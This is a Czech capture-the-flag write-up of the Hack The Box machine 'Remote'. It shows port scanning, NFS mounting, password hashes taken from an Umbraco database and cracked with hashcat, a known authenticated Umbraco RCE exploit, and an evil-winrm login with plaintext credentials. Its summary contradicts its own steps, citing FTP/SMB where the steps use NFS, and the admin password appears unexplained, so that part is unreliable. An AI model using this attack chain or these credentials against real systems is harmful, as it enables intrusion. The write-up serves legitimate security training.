Remote
Úvod a kontext
U Remote není hlavní hodnota v jednom efektním kroku, ale ve vazbě mezi anonymní FTP a SMB sdílení.
Článek dává smysl číst hlavně jako rozbor rozhodování: proč právě tyto stopy vedou k WinRM s ověřeným heslem a proč po získání shellu dává smysl řešit lokální enumeraci po získání shellu.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
[... výstup zkrácen ...]
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1m53s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-03-21T22:22:59
|_ start_date: N/A
Vyhledání otevřených portů (2)
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
nmap -sV --script=nfs-showmount $IP
111/tcp open rpcbind 2-4 (RPC #100000)
| nfs-showmount:
|_ /site_backups
mount -t nfs 10.10.10.180:/site_backups /tmp/nfs -nolock
strings Umbraco.sdf
Administrator
admin
default
en-US
b22924d5-57de-468e-9df4-0961cf6aa30d
Administrator
admin
__CENSORED__{"hashAlgorithm":"SHA1"}
en-US
f8512f97-cab1-4a4b-a49f-0a2054c47a1d
admin
admin@htb.local
__CENSORED__{"hashAlgorithm":"SHA1"}
admin@htb.local
en-US
feb1a998-d3bf-406a-b30b-e269d7abdf50
admin
[... výstup zkrácen ...]
ssmith
ssmith@htb.local
8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}
ssmith@htb.local
en-US
3628acfb-a62c-4ab0-93f7-5ee9724c8d32
__CENSORED__{"hashAlgorithm":"SHA1"}
jxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}
8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}
Analýza zjištění
Lámání hesel nebo hashů
Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.
hashcat -m 100 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt
=> baconandcheese
=> admin@htb.local:baconandcheese
Identifikace a hledání exploitu
Zjišťuji technologii a ověřuji známé zranitelnosti.
searchsploit umbraco
=> Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | exploits/aspx/webapps/46153.py
Získání přístupu
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
python3 umbraco.py
PS C:\users\Public> cat user.txt
__CENSORED__
Přihlášení na cíl
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
./evil-winrm/evil-winrm.rb -i $IP -u Administrator -p '!R3m0te!'
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Počáteční průzkum se z obecné enumerace změnil v použitelný směr teprve po propojení indicií jako anonymní FTP a SMB sdílení.
- User část stála na ověřeném kroku typu WinRM s ověřeným heslem, ne na odhadu bez technického potvrzení.
- Závěrečná eskalace pak stála na tom, co představuje lokální enumerace po získání shellu, takže rozhodující byla práce s lokálním kontextem po footholdu.
Co si odnést do praxe
- První obranná lekce míří na anonymní FTP a SMB sdílení. Anonymní FTP a podobná odkladiště je potřeba vnímat jako veřejný publikační kanál; často prozradí další hostname, workflow nebo interní soubory.
- Druhá lekce je o tom, jak rychle se ze zjištění stane WinRM s ověřeným heslem. WinRM má být dostupný jen z management sítě a s unikátními přístupy; jinak z každého úniku hesla vznikne okamžitý administrativní kanál.
- Třetí lekce připomíná riziko, které v praxi představuje lokální enumerace po získání shellu. Po získání shellu je rozhodující systematická lokální enumerace; i bez další CVE často rozhodne kombinace špatných oprávnění, reuse tajemství a pomocných skriptů.